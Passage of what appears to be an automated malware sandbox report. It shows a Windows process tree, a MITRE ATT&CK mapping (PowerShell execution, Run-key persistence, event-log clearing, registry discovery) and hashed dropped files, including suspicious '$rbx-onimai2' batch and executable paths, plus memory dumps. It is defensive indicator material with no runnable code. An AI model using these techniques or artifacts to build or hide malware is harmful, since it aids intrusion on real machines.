    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3656

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3840

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3992

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4164

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4924

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2280

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2668

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:2444

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:932

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4260

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 658b54de6ac7550220eb94b10ef3a374 T72QZE23AE+Pt7ew6ihR0g.0.1.0.0.0
1⤵
- Sets service image path in registry
PID:2276
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:1796

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3596

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1088

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4848

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:2408
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 432 -p 2336 -ip 2336
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:4356
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 384 -p 3272 -ip 3272
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:720
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 540 -p 3272 -ip 3272
  2⤵
  PID:2832

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:4460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1911.tmp.csv

Filesize
38KB

MD5
ea8a233ea4adab7328f103733912ca13

SHA1
82437d582649fd3861a7ad7bcd732c7c11500820

SHA256
b5b25f7f5e0646feb79fe744e5af44bd68649fa6c35572a127a0df8d072b7f62

SHA512
4f84663d709809ba1f4292eb18b86bbd4cdc1d9becc385bc0472f00fb66b478ffee353b19ba3ada72c85cd0f32deaff788e7f9f7bc65fdb7096975c81817da7e

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1931.tmp.txt

Filesize
13KB

MD5
24d57d276e82f144ec6f70830014a129

SHA1
a3e91fb2e2168306e575ab3904c0bd3ed047e8db

SHA256
27e547eeca80e2178ee44ab1c4863e27b3bb8be68182f8fe99e5191aac12df10

SHA512
e20583db9fe5c984155ff70bfa3a00e6dfa8244e6a0dac431c0609b69b63c02c3855539e26492661304cf28935885d848da7119e784e62d5320c882b076b9daa

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER90B4.tmp.csv

Filesize
38KB

MD5
9abe584855914095f09f840520ea4982

SHA1
d197f4568dcb4c014be49820bbfd7e6cf2fb5637

SHA256
4b5ec7b7594b4e0dc8a162de8b276ea27e63b69810b9273b796ccd604bd7ac60

SHA512
71c9229286a92a2281dafbe4524b0f2d8adfbd4e5428e3f3a80d7b93c90935334487874c46f36a5afd4c50020b15a582deb69ed7ee08f10713a48b70f0297dd5

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER90E4.tmp.txt

Filesize
13KB

MD5
555370fb06c12ff6e385f45dd7c601df

SHA1
9a195c56a6b611a9c2d5318ec66e2bc85ff41f43

SHA256
54709b085f127f48b97c1f837e857bd24ab9b7a448094e5136244ab5c11e7ca2

SHA512
b7bb3fcca9f79cb713a929b6169f377ddf769fcbbe15332875e72590eaede62b3d27877044ee3e908ab8dbe56ac19ed9993eb57d8cf501487c9f0a5feb1692ee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
bb8306e1bcf2e988e16c1aee4383f269

SHA1
3f261ea9b6df59d223f7c61adddc7f6f515e6e4e

SHA256
859eb6128cadf870e8235e87af15e13e6243b84690f641612be03c8dd83c4b98

SHA512
ad95bd6d26de7cea5ddaa4c3d92ced71899be98bac8593fed13b815a25eccd71817300f0cde97d87d3722515691a4a82a7d2d06a832d6181f05ccd73649247d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
3KB

MD5
76a18ac328480a11da294618d5d31ffd

SHA1
0224f6c541f3e833a9bbe76184ec4b2b5487fe62

SHA256
e0ed940dd5e72400cd69d53a59216af270adbfd107742485db35b4623ed710e6

SHA512
f73d3ec83eff892ca425cc7cacf2e06f77b0edd24a8b5fa4e8ff02349a9653553884e3ee41c650bc17598392da08a8e230eadf129dcac4e0ea1e19d01ac84bbe

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_alwnt1iu.nin.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$nya-onimai2\yhENSZ.exe

Filesize
36KB

MD5
b943a57bdf1bbd9c33ab0d33ff885983

SHA1
1cee65eea1ab27eae9108c081e18a50678bd5cdc

SHA256
878df6f755578e2e79d0e6fd350f5b4430e0e42bb4bc8757afb97999bc405ba4

SHA512
cb7253de88bd351f8bcb5dc0b5760d3d2875d39f601396a4250e06ead9e7edeffcd94fa23f392833f450c983a246952f2bad3a40f84aff2adc0f7d0eb408d03c

Download Submit
C:\Windows\$rbx-onimai2\$rbx-CO2.bat

Filesize
7.4MB

MD5
e4bfe64348f8d70c36e5d7ef6f79cd3b

SHA1
9595ce4b92893dc10a894bf1c87c75308aa1f826

SHA256
377e07c89866212c545edcc127f8710d90fd2acbfb5a3665c6595527b516d0e4

SHA512
5bd04dd26bd56cc00e84303d592ac7aa2f085a21f2e9301e805f44608d79b6154aae49865a08f0fdba95fc45bff18fa8c9fc75d7c01cde401358e25aab5801fa

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/316-78-0x000002CF89810000-0x000002CF8983A000-memory.dmp

Filesize
168KB

Download
memory/612-33-0x000002B0A07D0000-0x000002B0A07FA000-memory.dmp

Filesize
168KB

Download
memory/612-32-0x000002B0A07D0000-0x000002B0A07FA000-memory.dmp

Filesize
168KB

Download
memory/612-31-0x000002B0A07A0000-0x000002B0A07C4000-memory.dmp

Filesize
144KB

Download
memory/612-38-0x000002B0A07D0000-0x000002B0A07FA000-memory.dmp

Filesize
168KB

Download
memory/612-44-0x000002B0A07D0000-0x000002B0A07FA000-memory.dmp

Filesize
168KB

Download
memory/612-39-0x000002B0A07D0000-0x000002B0A07FA000-memory.dmp

Filesize
168KB

Download
memory/612-40-0x000002B0A07D0000-0x000002B0A07FA000-memory.dmp

Filesize
168KB

Download
memory/612-41-0x000002B0A07D0000-0x000002B0A07FA000-memory.dmp

Filesize
168KB

Download
memory/612-42-0x000002B0A07D0000-0x000002B0A07FA000-memory.dmp

Filesize
168KB

Download
memory/612-43-0x00007FFEEB1B0000-0x00007FFEEB1C0000-memory.dmp

Filesize
64KB

Download
memory/668-53-0x000001E56B2B0000-0x000001E56B2DA000-memory.dmp

Filesize
168KB

Download
memory/668-48-0x000001E56B2B0000-0x000001E56B2DA000-memory.dmp

Filesize
168KB

Download
memory/668-58-0x00007FFEEB1B0000-0x00007FFEEB1C0000-memory.dmp

Filesize
64KB

Download
memory/668-57-0x000001E56B2B0000-0x000001E56B2DA000-memory.dmp

Filesize
168KB

Download
memory/668-56-0x000001E56B2B0000-0x000001E56B2DA000-memory.dmp

Filesize
168KB

Download
memory/668-55-0x000001E56B2B0000-0x000001E56B2DA000-memory.dmp

Filesize
168KB

Download
memory/668-54-0x000001E56B2B0000-0x000001E56B2DA000-memory.dmp

Filesize
168KB

Download
memory/668-59-0x000001E56B2B0000-0x000001E56B2DA000-memory.dmp

Filesize
168KB

Download
memory/944-63-0x00000231699D0000-0x00000231699FA000-memory.dmp

Filesize
168KB

Download
memory/944-68-0x00000231699D0000-0x00000231699FA000-memory.dmp

Filesize
168KB

Download
memory/944-69-0x00000231699D0000-0x00000231699FA000-memory.dmp

Filesize
168KB

Download
memory/944-70-0x00000231699D0000-0x00000231699FA000-memory.dmp

Filesize
168KB

Download
memory/944-72-0x00000231699D0000-0x00000231699FA000-memory.dmp

Filesize
168KB

Download
memory/944-73-0x00007FFEEB1B0000-0x00007FFEEB1C0000-memory.dmp

Filesize
64KB

Download
memory/944-74-0x00000231699D0000-0x00000231699FA000-memory.dmp

Filesize
168KB

Download
memory/944-71-0x00000231699D0000-0x00000231699FA000-memory.dmp

Filesize
168KB

Download
memory/2336-1035-0x00007FFF0C4A0000-0x00007FFF0CF61000-memory.dmp

Filesize
10.8MB

Download
memory/2336-1501-0x00007FFF0C4A0000-0x00007FFF0CF61000-memory.dmp

Filesize
10.8MB

Download
memory/2336-1-0x000001F6F1CF0000-0x000001F6F1D12000-memory.dmp

Filesize
136KB

Download
memory/2336-1033-0x000001F6FCDE0000-0x000001F6FD172000-memory.dmp

Filesize
3.6MB

Download
memory/2336-1034-0x00007FFF0C4A3000-0x00007FFF0C4A5000-memory.dmp

Filesize
8KB

Download
memory/2336-0-0x00007FFF0C4A3000-0x00007FFF0C4A5000-memory.dmp

Filesize
8KB

Download
memory/2336-1066-0x00007FFF0C4A0000-0x00007FFF0CF61000-memory.dmp

Filesize
10.8MB

Download
memory/2336-11-0x00007FFF0C4A0000-0x00007FFF0CF61000-memory.dmp

Filesize
10.8MB

Download
memory/2336-12-0x00007FFF0C4A0000-0x00007FFF0CF61000-memory.dmp

Filesize
10.8MB

Download
memory/2336-13-0x000001F6F4320000-0x000001F6F4364000-memory.dmp

Filesize
272KB

Download
memory/2336-14-0x000001F6F43F0000-0x000001F6F4466000-memory.dmp

Filesize
472KB

Download
memory/2336-15-0x000001F6D97B0000-0x000001F6D97EA000-memory.dmp

Filesize
232KB

Download
memory/2336-16-0x000001F6FC790000-0x000001F6FCBD6000-memory.dmp

Filesize
4.3MB

Download
memory/2336-17-0x00007FFF2B130000-0x00007FFF2B325000-memory.dmp

Filesize
2.0MB

Download
memory/2336-18-0x00007FFF2B020000-0x00007FFF2B0DE000-memory.dmp

Filesize
760KB

Download
memory/3272-2448-0x000002183D440000-0x000002183DBC4000-memory.dmp

Filesize
7.5MB

Download
memory/3272-2550-0x000002187F450000-0x000002187F612000-memory.dmp

Filesize
1.8MB

Download
memory/3272-2549-0x000002187F1C0000-0x000002187F272000-memory.dmp

Filesize
712KB

Download
memory/3272-2548-0x000002187EE00000-0x000002187EE50000-memory.dmp

Filesize
320KB

Download
memory/4408-20-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4408-25-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4408-27-0x00007FFF2B020000-0x00007FFF2B0DE000-memory.dmp

Filesize
760KB

Download
memory/4408-28-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4408-19-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4408-21-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4408-23-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4408-26-0x00007FFF2B130000-0x00007FFF2B325000-memory.dmp

Filesize
2.0MB

Download
memory/4928-2935-0x000002DE33760000-0x000002DE3376E000-memory.dmp

Filesize
56KB

Download